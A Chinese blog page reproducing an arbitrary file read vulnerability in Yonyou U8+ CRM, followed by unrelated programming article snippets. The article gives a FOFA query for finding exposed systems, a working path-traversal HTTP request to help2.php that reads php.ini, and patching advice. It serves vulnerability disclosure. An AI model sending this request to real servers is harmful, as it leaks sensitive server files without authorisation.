当前位置： 首页 > news >正文

用友U8+CRM help2 任意文件读取漏洞复现

news 2026/2/9 0:15:58

0x01 产品简介

用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。

0x02 漏洞概述

用友 U8 CRM客户关系管理系统 help2接口处存在任意文件读取漏洞，攻击者通过漏洞可以获取到服务器敏感信息。

0x03 复现环境

FOFA：title="用友U8CRM"

0x04 漏洞复现

PoC

GET /pub/help2.php?key=/../../apache/php.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

0x05 修复建议

关闭互联网暴露面或接口设置访问权限

升级至安全版本

相关文章：

用友U8+CRM help2 任意文件读取漏洞复现

0x01 产品简介 用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。 0x02 漏洞概述 用友 U8 CRM客户关系管理系统 help2接口处存在任意文件读取漏洞，攻击者通过漏洞可以获取到服…...

编程日记 2023/12/25 10:13:13

freeRTOS实时操作系统学习笔记

温馨提示：点击图片查看大图更清晰 —————————————————————————————↑↑↑上方资源下载后可获取xmind原文件。 1、freeRTOS移植和配置脑图 2、内核源码学习...

编程日记 2023/12/25 10:08:07

解决虚拟机卡顿、卡死、待机后不动的情况（真实有效

本人环境： VM workstation 17.5 ubuntu 22.04 虚拟机配置：4核 4g issue： 出现开机卡死不动运行一段时间，可能半小时不到，就页面卡死不动经常需要关机重启才解决，可能没有解决 1.配置虚拟化引擎 这一步我称…...

编程日记 2023/12/25 10:07:06

【MybatisPlus快速入门】(3)SpringBoot整合MybatisPlus 之 Lombok插件安装及MybatisPlus分页代码示例

目录 1.Lombok1.1 步骤1:添加lombok依赖 2.2 步骤2:安装Lombok的插件1.3 步骤3:模型类上添加注解2 分页功能2.1 步骤1:调用方法传入参数获取返回值2.2步骤2:设置分页拦截器2.3 步骤3:运行测试程序 之前我们已学习MyBatisPlus在代码示例与MyBatisPlus的简介，在这一节…...

编程日记 2023/12/25 10:05:04

SpaceDesk如何连接平板/PC（生产力副屏）

1、下载安装 分为安卓端和PC端，两个设备都需要安装对应的软件。 SpaceDesk官网 https://link.zhihu.com/?targethttp%3A//spacedesk.net/ 需要魔法上网。安装过程比较简单，无脑下一步即可。 我已经把安装包准备好了，如果不想自己找&#…...

编程日记 2023/12/25 10:03:01

61.SVN版本控制系统

SVN（Subversion）是一种集中式版本控制系统，它有一个中央仓库用于存储代码库的完整历史记录。相对于分布式版本控制系统（例如 Git），SVN 不支持本地仓库。 一、SVN 安装。 （1）在windo…...

编程日记 2023/12/25 9:59:59

操作系统 内存管理篇

一.程序的装入和链接 装入方式： 链接方式： 二.进程的内存映像 三.内存的分配 1.连续分配 分配方式： 2.不连续分配 分页：页面大小一致 引入快表（和 cache 处理思路一致） 升级到二级页表 分段：…...

编程日记 2023/12/25 9:54:53

深度学习中用来训练的train.py 探究学习2.0（ 数据预处理）

数据预处理 下列代码为train.py中常见的一些数据处理方法 train_transform transforms.Compose([transforms.Resize((224, 224)),transforms.RandomVerticalFlip(),# 随机旋转，-45度到45度之间随机选transforms.RandomRotation(45),# 从中心开始裁剪transforms.C…...

编程日记 2023/12/25 9:53:52

vscode debug c++代码

需要提前写好CMakeLists.txt 在tasks.json中写好编译的步骤，即tasks，如cmake … 和make -j 在lauch.json中配置可执行文件的路径和需要执行tasks中的哪一个任务 具体步骤： 1.写好c代码和CMakeLists.txt 2.配置tasks.json 终端–>配置任务…...

编程日记 2023/12/25 9:50:48

HarmonyOS的功能及场景应用

一、基本介绍 鸿蒙HarmonyOS主要应用的设备包括智慧屏、平板、手表、智能音箱、IoT设备等。具体来说，鸿蒙系统是一款面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的分布式操作系统，能够支持手机、平板、智能穿戴、智慧屏、车机等多种终端设备…...

编程日记 2023/12/25 9:49:47

汽车级EEPROM 存储器 M24C64-DRMN3TP/K是电可擦除可编程只读存储器?它的功能特性有哪些?

M24C64-DRMN3TP/K是一款64 Kbit串行EEPROM汽车级设备，工作温度高达125C。符合汽车标准AEC-Q100 1级规定的极高可靠性。 该设备可通过一个高达1MHz的简单串行I2C兼容接口访问。 存储器阵列基于先进的真EEPROM技术（电可擦除可编程存储器）。M2…...

编程日记 2023/12/25 9:46:44

VS Code无法远程ubuntu

①windows下cmd中执行命令： ssh-keygen -t rsa -C "xxxxxx.com" ②ubuntu 下bash 命令 ssh-keygen -t rsa -C "xxxxxx.com" ③cat id_rsa.pub >> ~/.ssh/authorized_keys ④ C:\Users\Administrator\AppData\Roaming\Code\User\set…...

编程日记 2023/12/25 9:43:41

大数据开发职业规划

大数据开发职业规划 我的学历是双非本，在学校学习的是大数据专业，目前是在企业做大数据全栈的工作，爬虫，数仓，风控项目，etl开发都做 .................................................................…...

编程日记 2023/12/25 9:42:40

XxIJob入门-示例

一、部署 xxlJob (一) 下载地址， git clone 到本地。 http://gitee.com/xuxueli0323/xxl-job https://github.com/xuxueli/xxl-job (二) 插入 xxl_job 的sql脚本： 在项目的 /xxl-job/doc/db/tables_xxl_job.sql ，找到sql脚本&#xff0c…...

编程日记 2023/12/25 9:41:39

单挑力扣（LeetCode）SQL题：1549. 每件商品的最新订单（难度：中等）

相信很多学习SQL的小伙伴都面临这样的困境，学习完书本上的SQL基础知识后，一方面想测试下自己的水平；另一方面想进一步提升，却不知道方法。 其实，对于技能型知识，我的观点一贯都是：多练习、多实…...

编程日记 2023/12/25 9:40:38

Javacv-利用Netty实现推流直播复用（flv）

前言 上一篇文章《JavaCV之rtmp推流（FLV和M3U8）》介绍了javacv的基本使用，今天来讲讲如何实现推流复用。 以监控摄像头的直播为例，通常分为三步： 从设备获取音视频流利用javacv进行解码（例如flv或m3u8&am…...

编程日记 2023/12/25 9:38:35

cfa一级考生复习经验分享系列（十一）

理工科已经毕业，正在工作，毫无金融背景。一共准备了四个月，每天下班和周末抽时间看看。前三个月节奏比较松散，毕竟时不时有人叫我出去high，最后一个月认真看了看。 用到的资料 JC网课，官方Mock，…...

编程日记 2023/12/25 9:36:34

Nginx基本配置内容

http 模块适用于处理 Web 请求，而 stream 模块适用于处理非 HTTP 流量，如数据库连接、邮件传输等。 在 stream 模块中，你可以配置一些 TCP 或 UDP 的代理服务，以便 Nginx 能够转发这些流量。 与网站相关的 关于网站相关的要写在ht…...

编程日记 2023/12/25 9:35:31

Jenkins安装与设置(插件安装失败，版本问题解决）

早期的使用docker安装jenkins的方法会出现插件无法安装的问题，是由于docker拉取的jenkins版本太低了 jdk安装 Linux系统安装JDK1.8 详细流程 maven安装： centos7下安装Maven 使用docker进行安装jenkins： 先把镜像和容器卸干净 docker ps -a…...

编程日记 2023/12/25 9:32:28

精度提升10个点！HD-Painter:无需训练的文本引导高分辨率图像修复方案！

基于文本到图像扩散模型的空前成功，在文本引导的图像修复方面取得了最新进展，取得了异常逼真和视觉上可靠的结果。然而，目前的文本到图像修复模型仍然存在显著的改进潜力，特别是在更好地与用户提示对齐和执行高分辨率修复方面。因…...

编程日记 2023/12/25 9:28:24

Python爬虫实战：研究MechanicalSoup库相关技术

一、MechanicalSoup 库概述 1.1 库简介 MechanicalSoup 是一个 Python 库，专为自动化交互网站而设计。它结合了 requests 的 HTTP 请求能力和 BeautifulSoup 的 HTML 解析能力，提供了直观的 API，让我们可以像人类用户一样浏览网页、填写表单和提交请求。 1.2 主要功能特点…...

编程新知 2025/10/10 18:13:55

python打卡day49

知识点回顾： 通道注意力模块复习空间注意力模块CBAM的定义 作业：尝试对今天的模型检查参数数目，并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...

编程新知 2026/2/7 5:37:17

React hook之useRef

React useRef 详解 useRef 是 React 提供的一个 Hook，用于在函数组件中创建可变的引用对象。它在 React 开发中有多种重要用途，下面我将全面详细地介绍它的特性和用法。 基本概念 1. 创建 ref const refContainer useRef(initialValue);initialValu…...

编程新知 2025/6/11 15:21:26

【Java学习笔记】Arrays类

Arrays 类 1. 导入包：import java.util.Arrays 2. 常用方法一览表 方法描述Arrays.toString()返回数组的字符串形式Arrays.sort()排序（自然排序和定制排序）Arrays.binarySearch()通过二分搜索法进行查找（前提：数组是…...

编程新知 2025/12/3 9:38:15

PPT|230页| 制造集团企业供应链端到端的数字化解决方案：从需求到结算的全链路业务闭环构建

制造业采购供应链管理是企业运营的核心环节，供应链协同管理在供应链上下游企业之间建立紧密的合作关系，通过信息共享、资源整合、业务协同等方式，实现供应链的全面管理和优化，提高供应链的效率和透明度，降低供应链的成…...

编程新知 2026/1/30 22:07:56

大数据零基础学习day1之环境准备和大数据初步理解

学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 （1）设置网关 打开VMware虚拟机，点击编辑…...

编程新知 2026/1/25 14:43:07

汇编常见指令

汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX（不访问内存）XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...

编程新知 2026/1/23 2:04:44

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

编程新知 2026/2/8 1:58:01

使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台

🎯 使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台 📌 项目背景 随着大语言模型（LLM）的广泛应用，开发者常面临多个挑战： 各大模型（OpenAI、Claude、Gemini、Ollama）接口风格不统一；缺乏一个统一平台进行模型调用与测试；本地模型 Ollama 的集成与前…...

编程新知 2026/1/25 3:31:07

均衡后的SNRSINR

本文主要摘自参考文献中的前两篇，相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程，其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt​ 根发送天线， n r n_r nr​ 根接收天线的 MIMO 系…...

编程新知 2026/1/30 4:47:24